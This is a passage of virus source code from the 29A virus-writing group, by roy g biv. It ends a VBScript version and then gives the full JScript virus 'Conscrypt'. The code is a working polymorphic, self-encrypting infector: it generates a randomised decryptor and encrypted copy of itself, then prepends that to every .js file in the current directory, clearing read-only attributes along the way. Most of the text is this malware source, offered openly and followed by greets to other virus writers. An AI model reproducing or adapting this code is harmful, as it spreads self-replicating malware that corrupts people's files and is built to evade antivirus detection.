29a-7.005

从29A上收集的病毒源码

          outf.writeline(bann)                  'prepend banner
          outf.writeline(newl)                  'prepend code
          outf.write(fst+rest)                  'append first character and host
          outf.close                            'close file (write mode)
        end if
        item.attributes=attr                    'restore attributes
      end if
      inf.close                                 'close file (read mode)
    end if
  end if
next

sub dospc(curoff)                               'replace space with random number of spaces
  if mid(oldl,curoff,1)=" "then
    newl=newl+space(rnd*5+1)
    while mid(oldl,curoff,1)=" "
      curoff=curoff+1
    wend
  end if
  loff=curoff
end sub

sub rcase(lineend)                              'random case switch on keywords
  for cb=loff to loff+lineend-1
    newl=newl+chr(asc(mid(oldl,cb,1))xor(int(rnd*2)*32))
  next
  dospc loff+lineend
end sub

function rchar                                  'random case letter
  rchar=chr(int(rnd*26)+65+int(rnd*2)*32)
end function

sub outv(tvar)                                  'variable followed by random number of spaces
  newl=newl+tvar
  dospc loff+instr(mid(oldl,loff)," ")-1
end sub

function nvar                                   'random sequence of random case letters
  while tv=v1 or tv=v2 or tv=v3 or tv=v4
    tv=""
    for cb=1to rnd*5+5                          '5-9 characters
      tv=tv+rchar
    next
  wend
  outv tv
  nvar=tv
end function

sub outch(ch)                                   'character followed by random number of spaces
  newl=newl+ch
  dospc loff+1
end sub


Now is JScript version.


//Conscrypt - roy g biv 01/02/03
fso=new ActiveXObject("scripting.filesystemobject")
with(inf=fso.opentextfile(WScript.scriptfullname))
{
  bann=readline()
  oldl=readline()
  close()
}

Math.random(1)
newl=""
dospc(0)

outv("function")
var v1=nvar(),v2,v3,v4,v5
outch("(")
v2=nvar()
outch(")")                                      //function aaaaa(bbbbb)

outch("{")

v3=nvar()
outch("=")
outv("\"\"")                                    //ccccc=""

outch(";")

outv("for")
outch("(")
v4=nvar()
outch("=")
outch("0")
outch(";")
outv(v4)
outch("<")
outv(v2)
outch(".")
outv("length")
outch(";")
outv(v4)
outv("+=")
v6=oldl.charAt(loff)                            //old packet size
v7=(Math.random()*7+2)&15                       //new data size: 2-8
                                                //if you do not use ! character, then line can be
                                                //v7=(Math.random()*8+1)&15     //1-8
outch(v7+1)
outch(")")                                      //for(ddddd=0;ddddd<bbbbb.length;ddddd+=x)

outch("{")

v5=nvar()
outch("=")
outv(v2)
outch(".")
outv("charAt")
outch("(")
outv(v4)
outch(")")
outch("&")
outv("15")                                      //eeeee=bbbbb.charAt(ddddd)&15

outch(";")

outv(v3)
outv("+=")
outv("String")
outch(".")
outv("fromCharCode")
outch("(")
outv(v2)
outch(".")
outv("charCodeAt")
outch("(")
outv(v4)
outch("+")
outv(v5)
outch(")")
outch("-")
outv(v5)
outch(")")                                      //ccccc+=String.fromCharCode(bbbbb.charCodeAt(ddddd+eeeee)-eeeee)

outch("}")

outv("return")
outv(v3)                                        //return ccccc

outch("}")

outv("eval")
outch("(")
outv(v1)
outch("(")
outch('"')

for(ss=loff+oldl.substr(loff).search(/"/);loff<ss;loff+=v6&15)
{
  oldk=oldl.charAt(loff)&15
  do
  {
    nkey=(Math.random()*v7+1)&15
    cca=oldl.charCodeAt(loff+oldk)-oldk+nkey
  }
  while(cca==34||cca==92||cca>127)              //no " or \ or 8-bit chars
  newl+=nkey
  kl=0
  while(++kl<nkey)
    newl+=rchar()
  newl+=String.fromCharCode(cca)
  while(kl++<v7)
    newl+=rchar()
}

outch('"')
outch(")")
outch(")")                                      //eval(aaaaa("encrypted code"))

for(enu=new Enumerator(fso.getfolder(".").files);!enu.atEnd();enu.moveNext())
                                                //demo version, current directory only
  if(fso.getextensionname(item=enu.item()).toLowerCase()=="js")
    try
    {
      with(inf=fso.opentextfile(item,1))        //open potential victim
      {
        fst=read(1)                             //read first character, keep for later
        if(fst!="/")                            //check for infection marker
          try
          {
            rest=readall()                      //read entire file
            attr=item.attributes                //save attributes
            item.attributes=0                   //remove any read-only attribute
            with(outf=fso.opentextfile(item,2)) //open file for writing
            {
              writeline(bann)                   //prepend banner
              writeline(newl)                   //prepend code
              write(fst+rest)                   //append first character and host
              close()                           //close file (write mode)
            }
            item.attributes=attr                //restore attributes
          }
          catch(z)
          {
          }
        close()                                 //close file (read mode)
      }
    }
    catch(z)
    {
    }

function dospc(coff)                            //replace space with random number of spaces
{
  if(oldl.charAt(coff)==" ")
  {
    cb=0
    while(cb++<=Math.random()*5)
      newl+=" "
    while(oldl.charAt(coff)==" ")
      ++coff
  }
  loff=coff
}

/* JScript is case-sensitive so this function is not used
function rcase(lend)                            //random case switch on keywords
{
  for(cb=loff;cb<loff+lend;cb++)
    newl+=String.fromCharCode(oldl.charCodeAt(cb)^(Math.round(Math.random())*32))
  dospc(loff+lend)
}
*/

function rchar()                                //random case letter
{
  with(Math)return String.fromCharCode(random()*26+65+round(random())*32)
}

function outv(tvar)                             //variable or keyword followed by random number of spaces
{
  newl+=tvar
  dospc(loff+oldl.substr(loff).search(/ /))
}

function nvar()                                 //random sequence of random case letters
{
  do
  {
    tv=""
    cb=0
    while(++cb<Math.random()*5+6)               //5-9 characters
      tv+=rchar()
  }
  while(tv==v1||tv==v2||tv==v3||tv==v4||tv==v5)
  outv(tv)
  return tv
}

function outch(ch)                              //character followed by random number of spaces
{
  newl+=ch
  dospc(loff+1)
}


Greets to friendly people (A-Z):

Active - Benny - Obleak - Prototype - Ratter - Ronin - RT Fishel -
The Gingerbread Man - Ultras - Vecna - VirusBuster - Whitehead


rgb/29A feb 2003
[e-mail]